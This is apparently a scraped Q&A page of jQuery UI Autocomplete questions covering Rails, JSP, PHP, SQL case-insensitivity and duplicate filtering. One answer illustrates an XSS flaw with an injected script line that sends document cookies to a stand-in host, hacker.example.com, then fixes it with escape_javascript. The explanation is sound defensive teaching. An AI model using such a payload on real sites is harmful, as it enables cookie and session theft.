I'm trying to input a table Page into jQuery UI Autocomplete. If I input it with Page.order('id ASC') it works perfectly, but if I input it with Page.order('id DESC') it breaks, even though the line
Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n")
executes error-free in my rails console. It even breaks another jQuery UI Autocomplete further down the same page, so I think the jQuery itself must be failing.
It also prints error-free in my page source both times.
Anyone have any idea why it fails in this context?
<head>
<meta charset="utf-8">
<title>jQuery UI Autocomplete - Multiple values</title>
<link rel="stylesheet" href="//code.jquery.com/ui/1.11.1/themes/smoothness/jquery-ui.css">
<script src="//code.jquery.com/jquery-1.10.2.js"></script>
<script src="//code.jquery.com/ui/1.11.1/jquery-ui.js"></script>
<link rel="stylesheet" href="/resources/demos/style.css">
<script>
$(function() {
var availableTags = [
<%= raw(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{name}\"" }.join(",\n")) %>
];
function split( val ) {
return val.split( /,\s*/ );
}
function extractLast( term ) {
return split( term ).pop();
}
$( "#pages" )
// don't navigate away from the field on tab when selecting an item
.bind( "keydown", function( event ) {
if ( event.keyCode === $.ui.keyCode.TAB &&
$( this ).autocomplete( "instance" ).menu.active ) {
event.preventDefault();
}
})
.autocomplete({
minLength: 0,
source: function( request, response ) {
// delegate back to autocomplete, but extract the last term
response( $.ui.autocomplete.filter(
availableTags, extractLast( request.term ) ) );
},
focus: function() {
// prevent value inserted on focus
return false;
},
select: function( event, ui ) {
var terms = split( this.value );
// remove the current input
terms.pop();
// add the selected item
terms.push( ui.item.value );
// add placeholder to get the comma-and-space at the end
terms.push( "" );
this.value = terms.join( ", " );
return false;
}
});
});
</script>
</head>
<div class="ui-widget">
<textarea id="pages" name="pages" size="50"></textarea>
</div><br>
Do you have more than 1000 Page records in your database? You might be selecting a different set of pages, one of which could have a title like
How to use "quotation" marks
or
Tabs slashes \\\ & special characters #%*(!##😱
or worse
"]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script>
These will get inserted into your JS directly, like:
$(function() {
var availableTags = [
"How to use "quotation" marks",
"Tabs slashes \\\ & special characters #%*(!##😱",
""]});</script><script>document.location = "http://hacker.example.com/steal?data=" + document.cookies</script>"
];
...
All of these are bad. The first two can break the script because things like quotations and slashes are not allowed in the middle of a string without proper escaping as \" and \\.
Rails provides a convenient function called escape_javascript, which is also aliased as j, that you can use to escape JavaScript code. E.g. data = "<%=j 'a"b"c' %>"; will output data = "a\"b\"c";
I would update your loop generating the availableTags array to use this method:
var availableTags = [
<%= safe_join(Page.order('id DESC').limit(1000).pluck(:name).map { |name| "\"#{escape_javascript(name)}\"".html_safe }, ",\n") %>
];
Related
I want to get all the elements in a list or array dynamically using el expressions.
I am using the below code. If I use the variable istatus it's not working.
${claimNotificationForm.chattels[istatus].objectValue}
Below ones are working like..
${claimNotificationForm.chattels[0].objectValue}
${claimNotificationForm.chattels[1].objectValue}
How can I use the variable here so that based on the istatus value, the el expression should be evaluated.
THe below is the jsp code where I am using this.
_createAutocomplete: function() {
var x = this.element[0].id; //value is combobox-0
var status = x.substr(x.length - 1); // value is 0 which is in string
var istatus = parseInt(status); // converted to int
this.input = $( "<input>" )
.appendTo( this.wrapper )
.attr( "title", '<fmt:message key="page.claim.personalclaimnotification.injury.select_info" />' )
.val("${claimNotificationForm.chattels[0].objectValue}") //works fine with 0,1,2... I have to use 'istatus' here
.css({
color: function( index, value ) {
if (this.value == '<fmt:message key="page.claim.search.object.name" />') {
return "#777";
}
},
fontStyle: function( index, value ) {
if (this.value == '<fmt:message key="page.claim.search.object.name" />') {
return "italic";
}
},
width: "286px"
})
.attr("maxlength", 256)
.addClass( "custom-combobox-input ui-widget ui-widget-content ui-state-default ui-corner-left" )
.autocomplete({
delay: 0,
minLength: 3,
source: $.proxy( this, "_source" )
})
You don't need to use [] at all. Just run a foreach and place a if/else statement.
<c:forEach items="${ListName}" var="emp" varStatus="myIndex">
<c:choose>
<c:when test="${myIndex.index==1}">
//do something
</c:when>
</c:forEach>
edit:
After learning more about the requirements, I went ahead and tested this by myself. Mine is working absolutely fine in both cases. So either the problem is that istatus is evaluating to some index which is more than the size of the list, or I don't know. Can you check what value istatus evluates to if you run <c:out value="${istatus}" />
When I set a random value to variable istatus, and if that value is within the size of a list, it prints out stuff, and if it is bigger than the size of a list, it prints out blanks. Meaning it just doesn't outright throw an error.
<c:set var="istatus" value="${1}" />
...
<c:out value="${claimNotificationForm.chattels[istatus].objectValue}" /> //it prints something meaning it is working
I have a javascript code that is used for autocomplete functionality. It highlights the text that is entered in a search box and matches it with the text in a database. This is case-sensitive, so it only highlights the text which is in the database table. I want the search to be case-insensitive.
This is my existing code:
<script type="text/javascript">
$(function() {
var availableTags = [<?php echo $tagsString; ?>];
$( "#tags" ).autocomplete({
source: availableTags
});
});
$.extend( $.ui.autocomplete.prototype, {
_renderItem: function( ul, item ) {
var term = this.element.val(),
html = item.label.replace( term, "<span class='f1'>$&</span>" );
return $( "<li></li>" )
.data( "item.autocomplete", item )
.append( $("<a></a>").html(html) )
.appendTo( ul );
}
});
</script>
in your database code use LOWER on both sides of the equasion.
... WHERE LOWER(db_field) = LOWER(:text) ...
Or you can cast the input to lower before giving it to the database and omit the right LOWER in this case
In case of LIKE
... WHERE LOWER(db_field) like '%' || LOWER(:text) || '%' ...
Please always quote properly or better use perpared statements to prevent SQL injections.
EDIT: Found a cleaner way using only bindings without quoting
I assume you are using MySQL.
You can lower field name and searched value,
WHERE LOWER( db_table.db_field ) = LOWER(:text) // find exact match
or use like with lower:
WHERE LOWER( db_table.db_field ) LIKE '%' || LOWER(:text) || '%' // find all that have this text as substring
But in boh cases remember to use parametrized statemenets, in order to avoid SQL injection atacks.
Hi I'm trying to get special characters like ëéäá to show up in my autocomplete. For example the letter ë shows up as & # 2 3 5 ; (without the spaces).
I'm creating a php array which I json_encode. I can create the json with both ë (html_entity_decode) and & # 2 3 5 ; (without the spaces) in the object. When I create the json object with ë it doesn't show up in the autocomplete.
My autocomplete function looks as follow:
<script>
$(document).ready(function() {
$(function() {
<?php echo "var availableCustomers = " . $this->searchCustomer . ";\n"; ?>
$( "#customerAutocomplete" ).autocomplete({
delay: 0,
source: availableCustomers,
select: function(event, ui) {
window.location.href = '/customer/look-customer/deb/' + ui.item.deb;
}
});
});
});
</script>
Autocomplete allow you to manage the render of your element. You may start from this point and try to make a custom render function. You just have to specify a render function in the configuration like :
$( "#customerAutocomplete" ).autocomplete({
...
_renderItem: function( ul, item ) {
return $("<li>")
.attr("data-value", item.value)
.append($("<a>").html(item.label))
.appendTo(ul);
},
...
});
You can console.debug the item to check if it contains your text with accent.
I want to get data from database to text field by using autopopulate when i type data in text field using javascript can any one help to me please
One of the way to solve that is for instance to use autocomplete control from jquery.ui and create service using language/server of your choose to get data from your db.
Configuring jquery.ui autocomplete is as simple as
var availableOptions = ["apple", "pear", "pineapple"]
$( "#auto" ).autocomplete({
source: availableOptions
});
just having input control
<div>
<label for="auto">Fruits: </label>
<input id="auto" />
</div>
So if you dont have thousands of data items above is one of the easiest ways.
Alternatively, having implemented web service you can query it ajax-style, configuring autocomplete plugin right way
$('#auto').autocomplete({
source: function( request, response ) {
$.getJSON( "/api/search", {
term: request.term
}, response );
},
search: function() {
var term = this.value
if ( term.length < 2 ) {
return false;
}
}
})
I'm using Jquery ui autocomplete plugin in a combo box and I'm reading the values from a JSON file. The problem is in my JSON file. I have fields with same value. Like this.
({
name:a
},
{
name:a
},
{
name:b
})
So when I type 'a' in combo box, it gives me 2 'a' s. But I need only one (I need only the unique values from JSON file). How do I do this? I do not have the complete code right now, that's why I cant put it. Sorry about that and thank you.
EDIT: You could use something like this to remove duplicate entries from the json array before sending that data to the jQuery autocomplete plugin.
var names = {};
var param = "name"
$.each(data.people, function() {
if (!names[this[param]])
names[this[param]] = [];
names[this[param]].push(this);
});
Then we can do source: names
try this.... only unique values can be added in input field
select: function( event, ui ) {
var terms = split( this.value );
// remove the current input
terms.pop();
// add the selected item
if(!($.inArray(ui.item.value,terms) > -1))
terms.push( ui.item.value );
// add placeholder to get the comma-and-space at the end
terms.push( "" );
this.value = terms.join( ", " );
return false;
}